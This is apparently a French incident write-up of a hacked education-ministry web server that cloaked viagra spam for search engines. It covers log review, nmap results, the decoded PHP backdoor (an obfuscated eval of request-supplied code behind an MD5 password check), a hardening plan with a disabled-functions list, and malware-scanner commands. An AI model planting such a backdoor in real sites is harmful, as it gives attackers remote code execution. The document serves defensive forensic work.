Audit de sécurité du serveur Web du vice-rectorat de la Nouvelle-Calédonie

Le site Web apparaissait dans les meilleurs résultats avec le mot clef "viagra", on m'a demandé d'effectuer une analyse à ce sujet. En réalité, le site Web avait été piraté mais de façon assez astucieuse : les informations sur le viagra n'étaient présentées qu'aux moteurs de recherche. Ce projet présente donc mes tâches principales pour déceler et corriger le problème. Ma préconisation finale a été de repenser l'architecture des serveurs afin d'améliorer, drastiquement, la sécurité et mettre des outils de détection automatique de scripts malicieux via Linux Malware Detect.

Procédure de recherche

  • Analyse des logs (/var/log)
  • Identification d’un accès sur une backdoor (compat.php)
  • Analyse du code de cette backdoorAccès authentifié par mot de passe
    • Code de la backdoor mis dans fonction gzinflate(base64_decode(*)) dans le fichier compat.php
    • Analyse de la backdoor (décodage grâce à http://www.decoder-online.com)
    • Mot de passe MD5 : ff6cb56b876eedf90b5bca2c0a210f91
  • Analyse nmap de l’extérieur :
Not shown: 999 open|filtered ports, 997 filtered ports
 PORT     STATE  SERVICE    VERSION
 21/tcp   open   ftp        ProFTPD 1.3.2
 80/tcp   open   http       Apache httpd 2.2.8 ((Unix) PHP/5.2.5)
 |_http-favicon: Unknown favicon MD5: 3AD8FECBDE088AF038C26EE5A5F40D5B
 | http-methods: GET HEAD POST OPTIONS TRACE
 | Potentially risky methods: TRACE
 |_See http://nmap.org/nsedoc/scripts/http-methods.html
 |_http-title: Site doesn't have a title (text/html).
 8080/tcp closed http-proxy
 4672/udp closed rfa

La « porte dérobée » ou backdoor

Donne un accès total sur le serveur avec la liste des exploits connus, les accès systèmes ainsi que la liste des fonctions désactivées sous PHP.
Dans /var/www :

grep -R * -e 'gzipinflate(base64'

Cette commande a renvoyé 6 fichiers présents sur le serveur contenant une copie de la backdoor.

Côté système

Vieille version du système d’exploitation, aucune mise à jour récente.
Version d’apache obsolète 2.0.52 (24 mai 2006)

Pour aller plus loin

Utilisez un outil de détection de RootKits tel que chkrootkit.
Lancement de Web Shell Detector ( https://github.com/emposha/PHP-Shell-Detector)

  • Plusieurs codes malicieux découverts
  • Type de code encodé en base 64 :
eval(base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydjaCddKSAmJiAobWQ1KCRfUkVRVUVTVFsnY2gnXSkgPT0gJzc0MjUzYjUxNjIzNmI1ZmZiZTM1NzFlM2I5MTNiMzZhJykgJiYgaXNzZXQoJF9SRVFVRVNUWydwaHBfY29kZSddKSkgeyBldmFsKCRfUkVRVUVTVFsncGhwX2NvZGUnXSk7IGV4aXQoKTsgfQ=='));

Ce qui donne :

 if(isset($_REQUEST['ch']) && (md5($_REQUEST['ch']) == '74253b516236b5ffbe3571e3b913b36a') && isset($_REQUEST['php_code'])) { eval($_REQUEST['php_code']); exit(); }

Plan d’actions d’urgence préconisé

  • Bloquer l’accès au serveur (via FTP, etc) et n’accorder que le port 80 ou 443
  • Bloquer les accès depuis IP suspicieuses
  • Faire un grep (sur base64_decode et gzip_inflate) sur tout le serveur et supprimer les scripts dangereux
  • Réinstaller un serveur
    • avec un apache récent (et mis à jour automatiquement)
    • avec kernel récent
    • Si vraiment nécessaire : accès ftps (ou sftp) chrooté avec politique et modification des mots de passe
    • avec sauvegarde automatique du DocumentRoot sur un svn (permet de voir les diffs en cas de soucis)
  • Supprimer les commandes systèmes jugées « dangereuses » via yum remove ou rm pour make (à cause de dépendances) : gcc, make, nc
  • Désactiver les fonctions PHP « dangereuses » comme « eval » dans php.ini :
    • disable_functions=exec,eval,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Mise en place d’une nouvelle architecture sécurisée

  • Installation d’un reverse proxy Apache ou Nginx (au choix) en DMZ
  • Installation serveur final avec mod_security et/ou mod_evasive
  • Accès FTP en mode reverse proxy via Pydio (anciennement ajaxplorer)

Installation de Linux Malware Detect

 chmod +x install.php
 ./install.php
 #MAJ signatures
 maldet -u
 #MAJ programme
 maldet -p
 #Detection dans /var/www
 maldet -a /var/www/
 #Analyse du rapport
 maldet --report
 #Nettoyage fichiers du rapport 100713-1111.16205
 maldet --clean 100713-1111.16205